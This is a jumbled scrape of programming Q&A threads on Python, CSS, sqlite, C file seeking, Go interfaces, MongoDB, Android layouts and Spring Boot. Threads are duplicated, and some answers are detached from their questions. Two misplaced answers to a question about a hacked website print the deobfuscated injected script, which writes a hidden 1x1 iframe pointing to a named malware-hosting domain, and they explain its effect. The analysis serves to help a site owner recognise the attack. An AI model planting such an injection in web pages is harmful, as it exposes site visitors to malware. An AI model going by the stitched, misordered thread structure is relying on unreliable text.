Simple Python: about structure of code
```<code>print ("This program reads an unsigned binary number of arbitrary length
\nand tries to compute the decimal equivalent. The program reports an error
\nif the input number contains characters other than 0 and 1.")
dec = 0
bin = 0
factor = 1

print ("Enter the binary number: ")
bin = int(input())

while(bin > 0):

    if((bin % 10) == True):
        dec += factor
        bin //= 10
        factor = factor * 2

    else:
        print("unrecognized bit:")

print ("I think your binary number in decimal form is: " ,dec)
</code>```

This is my code for a program that is supposed to convert a binary number from the user into a decimal number. It works fine, but I'm trying to add an "else" statement that will print "unrecognized bit" if the user enters a number other than 0 or 1. It kinds works, however the program prints "Unrecognized bit" even if the user has only entered 0 and 1's. This shouldn't happen. Also, see picture related. I've entered 12343 to test the program, and it says Unrecognized bit which is good but it also takes the "1" in that number and converts it to 16 which shouldn't happen, it should just say unrecognized bit. I think these two problems are simple to fix but I'm just not sure. Thank you!

picture

答:
Its a question of indentation. Your last line will print no matter what the if else statements say. You also want to exit the while loop when you reach an unrecognized symbol. Right now it prints the else statement but keeps looping.

This is a fix where I added a break condition to exit the else, then added a boolean to see if we can output the last print statement:

```<code>print ("This program reads an unsigned binary number of arbitrary length tries to compute the decimal equivalent. The program reports an error if the input number contains characters other than 0 and 1.")
dec = 0
bin = 0
factor = 1
success = 1

print ("Enter the binary number: ")
bin = int(input())

while(bin > 0):

  if((bin % 10) == True):
      dec += factor
      bin //= 10
      factor = factor * 2

  else:
      print("unrecognized bit:")
      success = 0
      break

if(success):
  print ("I think your binary number in decimal form is: " ,dec)
</code>```

Title: Simple Python: about structure of code

Body:
print ("This program reads an unsigned binary number of arbitrary length
\nand tries to compute the decimal equivalent. The program reports an error
\nif the input number contains characters other than 0 and 1.")
dec = 0
bin = 0
factor = 1

print ("Enter the binary number: ")
bin = int(input())

while(bin > 0):

    if((bin % 10) == True):
        dec += factor
        bin //= 10
        factor = factor * 2

    else:
        print("unrecognized bit:")

print ("I think your binary number in decimal form is: " ,dec)

This is my code for a program that is supposed to convert a binary number from the user into a decimal number. It works fine, but I'm trying to add an "else" statement that will print "unrecognized bit" if the user enters a number other than 0 or 1. It kinds works, however the program prints "Unrecognized bit" even if the user has only entered 0 and 1's. This shouldn't happen. Also, see picture related. I've entered 12343 to test the program, and it says Unrecognized bit which is good but it also takes the "1" in that number and converts it to 16 which shouldn't happen, it should just say unrecognized bit. I think these two problems are simple to fix but I'm just not sure. Thank you!

picture

Body:
Its a question of indentation. Your last line will print no matter what the if else statements say. You also want to exit the while loop when you reach an unrecognized symbol. Right now it prints the else statement but keeps looping.

This is a fix where I added a break condition to exit the else, then added a boolean to see if we can output the last print statement:

print ("This program reads an unsigned binary number of arbitrary length tries to compute the decimal equivalent. The program reports an error if the input number contains characters other than 0 and 1.")
dec = 0
bin = 0
factor = 1
success = 1

print ("Enter the binary number: ")
bin = int(input())

while(bin > 0):

  if((bin % 10) == True):
      dec += factor
      bin //= 10
      factor = factor * 2

  else:
      print("unrecognized bit:")
      success = 0
      break

if(success):
  print ("I think your binary number in decimal form is: " ,dec)


问:
How to convert a css such as "select::-ms-expand" dynamically in javascript?
I have the following code that I want to use in javascript code like "<code>$('select').css('-moz-appearance','none');</code>". I searched for some solutions via google, but I wasn't able to find a way. Some tips or examples would be great ! I would love to hear from you. </p>

```<code><style>
        select::-ms-expand {
            display: none;
        }

        select {
            -moz-appearance: none;
        }
    </style>
</code>```

答:
The problem is that ::-ms-expand is a pseudo-element, and thus technically doesn't exist in the DOM. In terms of a JavaScript solution that doesn't require any CSS support, your only option would be to dynamically inject the desired rule into the stylesheet via JavaScript's addRule:

$('select').css('::-ms-expand', 'none');
if (navigator.appVersion.indexOf("MSIE") !== -1 || navigator.appVersion.indexOf("Trident") !== -1) {
  document.styleSheets[0].addRule('select::-ms-expand', 'display: none;');
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<select>
  <option>1</option>
</select></code>```

Note that the addition of the rule will throw a warning on Chrome and Firefox, but will work in Internet Explorer. As such, you should also confirm that the user is running Internet Explorer by checking against MSIE and Trident in their navigator.appVersion.

Hope this helps! :)

Body: I have the following code that I want to use in javascript code like "$('select').css('-moz-appearance','none');". I searched for some solutions via google, but I wasn't able to find a way. Some tips or examples would be great ! I would love to hear from you.

Body:
The problem is that ::-ms-expand is a pseudo-element, and thus technically doesn't exist in the DOM. In terms of a JavaScript solution that doesn't require any CSS support, your only option would be to dynamically inject the desired rule into the stylesheet via JavaScript's addRule:

$('select').css('::-ms-expand', 'none');
if (navigator.appVersion.indexOf("MSIE") !== -1 || navigator.appVersion.indexOf("Trident") !== -1) {
  document.styleSheets[0].addRule('select::-ms-expand', 'display: none;');
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>

<select>
  <option>1</option>
</select>

Note that the addition of the rule will throw a warning on Chrome and Firefox, but will work in Internet Explorer. As such, you should also confirm that the user is running Internet Explorer by checking against MSIE and Trident in their navigator.appVersion.

Hope this helps! :)


问:
sqlite3 Error Executing SQL From File
I am trying to create tables in an SQLite database with sqlite3.

The command $ sqlite3 mydb < mytables.sql  produce the following error:  Incomplete SQL: ??C.

mytables.sql is:

```<code>CREATE TABLE SizeCulture (
    SizeCultureID INTEGER PRIMARY KEY ASC,
    SizeID INTEGER NULL,
    CultureID TEXT NULL,
    Name TEXT NULL,
    Description TEXT NULL,
    Abbreviation TEXT NULL,
);

CREATE TABLE Size(
    SizeID INTEGER PRIMARY KEY ASC ,
    Creation TEXT NOT NULL,
    Modification TEXT NOT NULL,
    Deleted INTEGER NOT NULL,
);
/****** Object:  Table [Ordering].[BarCode]    Script Date: 11/09/2011 14:58:19 ******/
CREATE TABLE BarCode(
    BarCodeID INTEGER PRIMARY KEY ASC NOT NULL,
    BarCodeValue TEXT NOT NULL,
);
</code>```

This was modified from a script generated by SQL Server, where some tables need to be replicated on an Android device.

The above is just a set of repeating create table statements.  From what I understand, SQLite follows standard SQL (like MySQL or postgres).

答: I had the same problem, but for a different reason (so I'm commenting because Google led me here). Turns out you can also encounter this error if your file has a weird encoding (like UCS-2 instead of UTF8).</p>

Title: sqlite3 Error Executing SQL From File

Body:
I am trying to create tables in an SQLite database with sqlite3.

The command $ sqlite3 mydb < mytables.sql  produce the following error:  Incomplete SQL: ??C.

mytables.sql is:

CREATE TABLE SizeCulture (
    SizeCultureID INTEGER PRIMARY KEY ASC,
    SizeID INTEGER NULL,
    CultureID TEXT NULL,
    Name TEXT NULL,
    Description TEXT NULL,
    Abbreviation TEXT NULL,
);

CREATE TABLE Size(
    SizeID INTEGER PRIMARY KEY ASC ,
    Creation TEXT NOT NULL,
    Modification TEXT NOT NULL,
    Deleted INTEGER NOT NULL,
);
/****** Object:  Table [Ordering].[BarCode]    Script Date: 11/09/2011 14:58:19 ******/
CREATE TABLE BarCode(
    BarCodeID INTEGER PRIMARY KEY ASC NOT NULL,
    BarCodeValue TEXT NOT NULL,
);

This was modified from a script generated by SQL Server, where some tables need to be replicated on an Android device.

The above is just a set of repeating create table statements.  From what I understand, SQLite follows standard SQL (like MySQL or postgres).


问:
Why does `fseek(..., 0, SEEK_CUR)` fail on windows?
I've tested the following C code

```<code>#include <stdio.h>

int main()
{
    FILE * file = fopen("ans.txt", "r+");
    printf("%ld", ftell(file));  // prints 0
    fgetc(file);
    printf("%ld", ftell(file));  // prints -18
    printf("%d", fseek(file, 0, SEEK_CUR)); // -1
    printf("%ld", ftell(file));  // prints 150
    fclose(file);
    return 0;
}
</code>```

on win10 with MinGW-W64 (gcc version 7.1.0 (x86_64-posix-seh-rev0, Built by MinGW-W64 project)) and Visual Studio 2017 (cl.exe version Microsoft (R) C/C++ Optimizing Compiler Version 19.11.25547)

The ans.txt file is (lines end in unix style)

```<code>line 1
line 2
line 3
line 4
line 5
line 6
line 7
line 8
line 9
line 10
line 11
line 12
line 13
line 14
line 15
line 16
line 17
line 18
line 19
line 20
</code>```

But everything is right on Arch Linux or when I open the file in binary mode or change line ending style into 'Windows/Mac OS 9'.

Is there anything to do with Windows crt?

答:
This is documented on MSDN here:

For streams opened in text mode, fseek and _fseeki64 have limited use,
  because carriage return-linefeed translations can cause fseek and
  _fseeki64 to produce unexpected results. The only fseek and _fseeki64 operations guaranteed to work on streams opened in text mode are:

Seeking with an offset of 0 relative to any of the origin values.

Seeking from the beginning of the file with an offset value returned    from a call to ftell when using fseekor _ftelli64 when
  using _fseeki64.

Open the file in binary mode... and you get more predictable results:

```<code>FILE * file = fopen("ans.txt", "rb+");
</code>```

Body:
I've tested the following C code

#include <stdio.h>

int main()
{
    FILE * file = fopen("ans.txt", "r+");
    printf("%ld", ftell(file));  // prints 0
    fgetc(file);
    printf("%ld", ftell(file));  // prints -18
    printf("%d", fseek(file, 0, SEEK_CUR)); // -1
    printf("%ld", ftell(file));  // prints 150
    fclose(file);
    return 0;
}

on win10 with MinGW-W64 (gcc version 7.1.0 (x86_64-posix-seh-rev0, Built by MinGW-W64 project)) and Visual Studio 2017 (cl.exe version Microsoft (R) C/C++ Optimizing Compiler Version 19.11.25547)

The ans.txt file is (lines end in unix style)

line 1
line 2
line 3
line 4
line 5
line 6
line 7
line 8
line 9
line 10
line 11
line 12
line 13
line 14
line 15
line 16
line 17
line 18
line 19
line 20

But everything is right on Arch Linux or when I open the file in binary mode or change line ending style into 'Windows/Mac OS 9'.

Is there anything to do with Windows crt?

Body:
This is documented on MSDN here:

For streams opened in text mode, fseek and _fseeki64 have limited use,
  because carriage return-linefeed translations can cause fseek and
  _fseeki64 to produce unexpected results. The only fseek and _fseeki64 operations guaranteed to work on streams opened in text mode are:

Seeking with an offset of 0 relative to any of the origin values.

Seeking from the beginning of the file with an offset value returned    from a call to ftell when using fseekor _ftelli64 when
  using _fseeki64.

Open the file in binary mode... and you get more predictable results:

FILE * file = fopen("ans.txt", "rb+");


问:
Q: cesium load gltf model from storage
I am trying to put my .gltf model into a database.  I built a restful API to get it from the database. But when I put the URL into Cesium's framework, an error occurs. The error is shown below.

```<code>      Sandcastle.addToolbarButton('models', function () {
    // eslint-disable-next-line
    var model = viewer.scene.primitives.add(Cesium.Model.fromGltf({
      id: 'house',
      url: 'http://127.0.0.1:8000/test',
      // url: gltf_data,
      modelMatrix: modelMatrix,
      scale: 0.1
    }))
  }, 'singleModel')
</code>```

front end javascript code

```<code>class Test(flask_restful.Resource):
def get(self):
    client = MongoClient()

    db = client['test']
    fs = gridfs.GridFS(db)
    for x in fs.find():
        data = x.read()
        break
    data = data.decode('utf-8')
    # file = fs.find_one()
    return jsonify(data)
</code>```

server end python code

答: I fix out by myself, i forget to translate the string to json object, i added a json.loads(data) at server end's code. it runs. Thanks @emackey you give me an advise

Title: Q: cesium load gltf model from storage

Body:
I am trying to put my .gltf model into a database.  I built a restful API to get it from the database. But when I put the URL into Cesium's framework, an error occurs. The error is shown below.

      Sandcastle.addToolbarButton('models', function () {
    // eslint-disable-next-line
    var model = viewer.scene.primitives.add(Cesium.Model.fromGltf({
      id: 'house',
      url: 'http://127.0.0.1:8000/test',
      // url: gltf_data,
      modelMatrix: modelMatrix,
      scale: 0.1
    }))
  }, 'singleModel')

front end javascript code

class Test(flask_restful.Resource):
def get(self):
    client = MongoClient()

    db = client['test']
    fs = gridfs.GridFS(db)
    for x in fs.find():
        data = x.read()
        break
    data = data.decode('utf-8')
    # file = fs.find_one()
    return jsonify(data)

server end python code


问:
ioutil.ReadAll fails miserably
I'm trying to get an io.Reader back from this weather it's a link or a path I'm given. For some context I'm using flags

```<code>func getString(link, path string) (io.Reader, error) {

    var dick io.ReadWriter

    if link != "" {
        resp, err := http.Get(link)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, resp.Body)
    }

    if path != "" {
        file, err := os.Open(path)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, file)
    }

    return dick, nil

}
</code>```

and boom

```<code>panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x46e949]
</code>```

this bad boy comes along

答:
io.ReadWriter is an interface, what you need is an instance of io.ReadWriter to write into (via io.Copy) and return the io.Reader interface off of that.

One type that comes to mind is a bytes.Buffer.  Your code would look like this

```<code>func getString(link, path string) (io.Reader, error) {

    dick := bytes.NewBuffer(nil)

    if link != "" {
        resp, err := http.Get(link)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, resp.Body)
    }

    if path != "" {
        file, err := os.Open(path)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, file)
    }

    return dick, nil

}
</code>```

You are also swallowing the error from io.Copy which isn't a great idea.

Title: ioutil.ReadAll fails miserably

Body:
I'm trying to get an io.Reader back from this weather it's a link or a path I'm given. For some context I'm using flags

func getString(link, path string) (io.Reader, error) {

    var dick io.ReadWriter

    if link != "" {
        resp, err := http.Get(link)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, resp.Body)
    }

    if path != "" {
        file, err := os.Open(path)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, file)
    }

    return dick, nil

}

and boom

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x46e949]

this bad boy comes along

Body:
io.ReadWriter is an interface, what you need is an instance of io.ReadWriter to write into (via io.Copy) and return the io.Reader interface off of that.

One type that comes to mind is a bytes.Buffer.  Your code would look like this

func getString(link, path string) (io.Reader, error) {

    dick := bytes.NewBuffer(nil)

    if link != "" {
        resp, err := http.Get(link)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, resp.Body)
    }

    if path != "" {
        file, err := os.Open(path)
        if err != nil {
            return nil, err
        }

        io.Copy(dick, file)
    }

    return dick, nil

}

You are also swallowing the error from io.Copy which isn't a great idea.


问:
How to add comments to networkx edgelist?
Network has a function nx.write_edgelist(G, path, comments='#', delimiter=' ', data=True, encoding='utf-8').

I'd like to add some comments to the graph I created. However, it turns out that the argument comments is of no use in this case. When the following command is executed:

```<code>nx.write_edgelist(my_graph,my_path,comments="#some comments",data=False);
</code>```

Nothing related to the comments is written to the output file.
Is there any way that I can add comments to an edgelist other than create an edgelist and add the comments mannually (or writing a program to add the comments after the edgelist file is created).

答: As of Networkx 2.0, the argument comments in the nx.write_edgelist function is of no use.

Body:
Network has a function nx.write_edgelist(G, path, comments='#', delimiter=' ', data=True, encoding='utf-8').

I'd like to add some comments to the graph I created. However, it turns out that the argument comments is of no use in this case. When the following command is executed:

nx.write_edgelist(my_graph,my_path,comments="#some comments",data=False);

Nothing related to the comments is written to the output file.
Is there any way that I can add comments to an edgelist other than create an edgelist and add the comments mannually (or writing a program to add the comments after the edgelist file is created).


答:
Simply declaring a variable (dick) as an interface type (io.ReadWriter) does not create a concrete type that will handle the interface method implementations.

dick still needs access to a type that actually implements the Read and Write methods. See here for more details about how interfaces work.

As for the error above, you can use a bytes.Buffer. This type already satisfies the io.ReadWriter interface.

```<code>func getString(link, path string) (io.Reader, error) {
    var dick bytes.Buffer // bytes.Buffer is an io.ReadWriter.
    if link != "" {
        resp, err := http.Get(link)
        // ...
        io.Copy(dick, resp.Body)
    }
    // ...
    return dick, nil
}
</code>```

Title: ioutil.ReadAll fails miserably

Body:
Simply declaring a variable (dick) as an interface type (io.ReadWriter) does not create a concrete type that will handle the interface method implementations.

dick still needs access to a type that actually implements the Read and Write methods. See here for more details about how interfaces work.

As for the error above, you can use a bytes.Buffer. This type already satisfies the io.ReadWriter interface.

func getString(link, path string) (io.Reader, error) {
    var dick bytes.Buffer // bytes.Buffer is an io.ReadWriter.
    if link != "" {
        resp, err := http.Get(link)
        // ...
        io.Copy(dick, resp.Body)
    }
    // ...
    return dick, nil
}


答: on chrome, that unescapes to "document.wri% 74e('<iframe src="htt% 70://sedpoo.com/?3383% 375" width=1 height=1% 3E')", which chrome tells me is a site that hosts malware.

Title: This site may be distributing malware ? strange javascript?

Body:
My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

Body: on chrome, that unescapes to "document.wri% 74e('<iframe src="htt% 70://sedpoo.com/?3383% 375" width=1 height=1% 3E</iframe>')", which chrome tells me is a site that hosts malware.


问:
How to change the background color of an ExpandableListView in Android?
The title of my question pretty much sums up what I want to ask so In the description I will describe my question in detail.

So I have an ExpandableListView and it is printed out on the screen in black with white text inside. When I press on the list it is expended and I can select the details in it. It looks something like this:

```<code>|--------------------------|
|black color               |
|   Title text(in white)   |
|                          |
|__________________________|
|  Item 1  (black text with white background)
|  Item 2                  |
|  Item N...               |
</code>```

So my question is how to change the background color of the inside of the "Text Title" and put a limit for the number of symbols displayed in the title?

Here are my XML files:

```<code>    <ScrollView
    android:layout_width="fill_parent"
    android:layout_height="228dp" >

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:background="#f4f4f4"
        android:orientation="vertical" >

        <ExpandableListView
            android:id="@+id/lvExp"
            android:layout_width="match_parent"
            android:layout_height="485dp"          >
        </ExpandableListView>
    </LinearLayout>
    </ScrollView>
</code>```

Item. XML:

```<code><?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="55dip"
android:orientation="vertical" >

 <TextView
    android:id="@+id/lblListItem"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:textSize="17dip"
    android:paddingTop="5dp"
    android:paddingBottom="5dp"
    android:paddingLeft="?android:attr/expandableListPreferredChildPaddingLeft" />

</LinearLayout>
</code>```

Group.XML

```<code><?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="8dp"
android:background="#000000">

<TextView
    android:id="@+id/lblListHeader"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:paddingLeft="?android:attr/expandableListPreferredItemPaddingLeft"
    android:textSize="17dp"
    android:textColor="#f4f4f4"
    android:background="#323232"/>//this only changes some part of the background just around the text ONLY

</LinearLayout>
</code>```

答:
In the expandablelistadapter :
In getGroupView under

```<code>  if (convertView == null) {
            LayoutInflater infalInflater = (LayoutInflater) this.mContext
                    .getSystemService(Context.LAYOUT_INFLATER_SERVICE);
            convertView = infalInflater.inflate(R.layout.listheader, null);
        }
</code>```

: put this :

```<code> convertView.setBackgroundColor(Color.parseColor("#FFFFFF"));
</code>```

And to limit the text title characters use in the XML:

```<code><TextView
android:id="@+id/secondLineTextView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:maxLines="1"
android:maxLength="10"
android:ellipsize="end"/>
</code>```

Body:
The title of my question pretty much sums up what I want to ask so In the description I will describe my question in detail.

So I have an ExpandableListView and it is printed out on the screen in black with white text inside. When I press on the list it is expended and I can select the details in it. It looks something like this:

|--------------------------|
|black color               |
|   Title text(in white)   |
|                          |
|__________________________|
|  Item 1  (black text with white background)
|  Item 2                  |
|  Item N...               |

So my question is how to change the background color of the inside of the "Text Title" and put a limit for the number of symbols displayed in the title?

Here are my XML files:

    <ScrollView
    android:layout_width="fill_parent"
    android:layout_height="228dp" >

    <LinearLayout
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:background="#f4f4f4"
        android:orientation="vertical" >

        <ExpandableListView
            android:id="@+id/lvExp"
            android:layout_width="match_parent"
            android:layout_height="485dp"          >
        </ExpandableListView>
    </LinearLayout>
    </ScrollView>

Item. XML:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="55dip"
android:orientation="vertical" >

 <TextView
    android:id="@+id/lblListItem"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:textSize="17dip"
    android:paddingTop="5dp"
    android:paddingBottom="5dp"
    android:paddingLeft="?android:attr/expandableListPreferredChildPaddingLeft" />

</LinearLayout>

Group.XML

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="8dp"
android:background="#000000">

<TextView
    android:id="@+id/lblListHeader"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:paddingLeft="?android:attr/expandableListPreferredItemPaddingLeft"
    android:textSize="17dp"
    android:textColor="#f4f4f4"
    android:background="#323232"/>//this only changes some part of the background just around the text ONLY

</LinearLayout>

Body:
In the expandablelistadapter :
In getGroupView under

  if (convertView == null) {
            LayoutInflater infalInflater = (LayoutInflater) this.mContext
                    .getSystemService(Context.LAYOUT_INFLATER_SERVICE);
            convertView = infalInflater.inflate(R.layout.listheader, null);
        }

: put this :

 convertView.setBackgroundColor(Color.parseColor("#FFFFFF"));

And to limit the text title characters use in the XML:

<TextView
android:id="@+id/secondLineTextView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:maxLines="1"
android:maxLength="10"
android:ellipsize="end"/>


问:
Mongodb set index on insert many Python
I am working on wrapping my head around mongodb and wrote a simple function that takes a realtime feed and inserts the json into a mongodb collection, which is working, which i have included below. The data feed is a vehicle tracking feed so the gps data is streaming in real time.

```<code>  import urllib2, json, sched, time,requests
  from pymongo import MongoClient

  s = sched.scheduler(time.time, time.sleep)
  def runUpdate(sc):
        url='www.myrealtimedatafeed'
        json_obj = urllib2.urlopen(url)
        data = json.load(json_obj)
        connection = MongoClient('mongodb://localhost/database')
        db = connection.test

        result = db.records.insert_many(data['result'])
        ##for item in data['result']:
        ##    print item['device']['id']
        ##    print item['dateTime']
        ##    print item['latitude']
        ##    print item['longitude']
        s.enter(30, 1, runUpdate, (sc,))
  s.enter(30, 1, runUpdate, (s,))
  s.run()
</code>```

Now i have two scenarios playing out in my head that I may need help on. Now my intent is to use a scheduler to rerun this ever 30 seconds or so for both scenarios.

The first scenario that I need to keep inserting records as time goes by, so for each device id there would be an new insert every 30 seconds, so I guess this would always be an insert since the dateTime field would be my index? How would create that field and set it as an index on insert?

The second scenario, I need to keep replacing the records based on device id so there would always only be one record for each device id, which would be it's current lat and long. This I guess would need to be a multi update and the device id would be the index?

In mongodb how would i set the index on insert many? I believe after everything, that would be the solution to both scenarios?

Thank you in advance

EDITED:

ok, so to answer my own question about the indexing, in the mongo shell using

```<code>db.createCollection("myCollectionName", {autoIndexId:false})
</code>```

I then created my dateTime index and my documents started loading in based on this new index. I also did the same on deviceID on another collection.

i do wonder why when creating a collection, you aren't able to define the index

答:
Note that autoIndexId option in db.createCollection() has been deprecated since MongoDB version 3.2 (currently version 3.4.x).

To clarify, this option is to disable setting the default id field _id to be indexed. Currently with this option you can create a collection without an index, which is not recommended in MongoDB replica set deployment.

In mongodb how would i set the index on insert many?

You don't generally create an index on insert(). Instead you should use createIndex(), which can be performed after the collection creation. Note that you can build index(es) on the background as well as on the foreground (default).

Depending on your use case and deployment environment, I would suggest to use the first scenario. This is suitable for:

The system keeps the history location of the devices (not being replaced)

The database only accepts write operations, instead of read and write.

If you're planning to shard your deployment later on, worth considering that if you are indexing only on date (time), this is a monotonically increasing key value. See also Monotonically Changing Shard Keys

Title: Mongodb set index on insert many Python

Body:
I am working on wrapping my head around mongodb and wrote a simple function that takes a realtime feed and inserts the json into a mongodb collection, which is working, which i have included below. The data feed is a vehicle tracking feed so the gps data is streaming in real time.

  import urllib2, json, sched, time,requests
  from pymongo import MongoClient

  s = sched.scheduler(time.time, time.sleep)
  def runUpdate(sc):
        url='www.myrealtimedatafeed'
        json_obj = urllib2.urlopen(url)
        data = json.load(json_obj)
        connection = MongoClient('mongodb://localhost/database')
        db = connection.test

        result = db.records.insert_many(data['result'])
        ##for item in data['result']:
        ##    print item['device']['id']
        ##    print item['dateTime']
        ##    print item['latitude']
        ##    print item['longitude']
        s.enter(30, 1, runUpdate, (sc,))
  s.enter(30, 1, runUpdate, (s,))
  s.run()

Now i have two scenarios playing out in my head that I may need help on. Now my intent is to use a scheduler to rerun this ever 30 seconds or so for both scenarios.

The first scenario that I need to keep inserting records as time goes by, so for each device id there would be an new insert every 30 seconds, so I guess this would always be an insert since the dateTime field would be my index? How would create that field and set it as an index on insert?

The second scenario, I need to keep replacing the records based on device id so there would always only be one record for each device id, which would be it's current lat and long. This I guess would need to be a multi update and the device id would be the index?

In mongodb how would i set the index on insert many? I believe after everything, that would be the solution to both scenarios?

Thank you in advance

EDITED:

ok, so to answer my own question about the indexing, in the mongo shell using

db.createCollection("myCollectionName", {autoIndexId:false})

I then created my dateTime index and my documents started loading in based on this new index. I also did the same on deviceID on another collection.

i do wonder why when creating a collection, you aren't able to define the index


答:
the unescaped code is something like this:

```<code>document.wri% 74e('<iframe src="htt% 70://sedpoo.com/?3383% 375" width=1 height=1% 3E</iframe>')
</code>```

Evaluating it will add an 1px by 1px iframe to your site, which points to the above address.

Body:
the unescaped code is something like this:

document.wri% 74e('<iframe src="htt% 70://sedpoo.com/?3383% 375" width=1 height=1% 3E</iframe>')

Evaluating it will add an 1px by 1px iframe to your site, which points to the above address.


问:
Hibernate error in Spring boot initialized JPA application
I use spring boot 1.5.8 to initialize a web application with JPA, however, it doesn't allow me to start the application. It shows the hibernate error. It is supposed the spring-boot-starter-data-jpa will install related dependencies but it seems not:

```<code>org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'entityManagerFactory' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Unsatisfied dependency expressed through method 'entityManagerFactory' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'entityManagerFactoryBuilder' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Unsatisfied dependency expressed through method 'entityManagerFactoryBuilder' parameter 0; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'jpaVendorAdapter' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.orm.jpa.JpaVendorAdapter]: Factory method 'jpaVendorAdapter' threw exception; nested exception is java.lang.NoClassDefFoundError: org/hibernate/HibernateException
...
...
...
Caused by: java.lang.ClassNotFoundException: org.hibernate.HibernateException
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381) ~[na:1.8.0_144]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424) ~[na:1.8.0_144]
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:335) ~[na:1.8.0_144]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357) ~[na:1.8.0_144]
    ... 60 common frames omitted
</code>```

Following is my dependencies in pom.xml:

```<code><parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.8.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-rest</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>
</code>```

答:
Delete your local repository then run Maven Update Project. It should be ok.
Because your maven dependency was conflict.</p>

Body:
I use spring boot 1.5.8 to initialize a web application with JPA, however, it doesn't allow me to start the application. It shows the hibernate error. It is supposed the spring-boot-starter-data-jpa will install related dependencies but it seems not:

org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'entityManagerFactory' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Unsatisfied dependency expressed through method 'entityManagerFactory' parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'entityManagerFactoryBuilder' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Unsatisfied dependency expressed through method 'entityManagerFactoryBuilder' parameter 0; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'jpaVendorAdapter' defined in class path resource [org/springframework/boot/autoconfigure/orm/jpa/HibernateJpaAutoConfiguration.class]: Bean instantiation via factory method failed; nested exception is org.springframework.beans.BeanInstantiationException: Failed to instantiate [org.springframework.orm.jpa.JpaVendorAdapter]: Factory method 'jpaVendorAdapter' threw exception; nested exception is java.lang.NoClassDefFoundError: org/hibernate/HibernateException
...
...
...
Caused by: java.lang.ClassNotFoundException: org.hibernate.HibernateException
    at java.net.URLClassLoader.findClass(URLClassLoader.java:381) ~[na:1.8.0_144]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:424) ~[na:1.8.0_144]
    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:335) ~[na:1.8.0_144]
    at java.lang.ClassLoader.loadClass(ClassLoader.java:357) ~[na:1.8.0_144]
    ... 60 common frames omitted

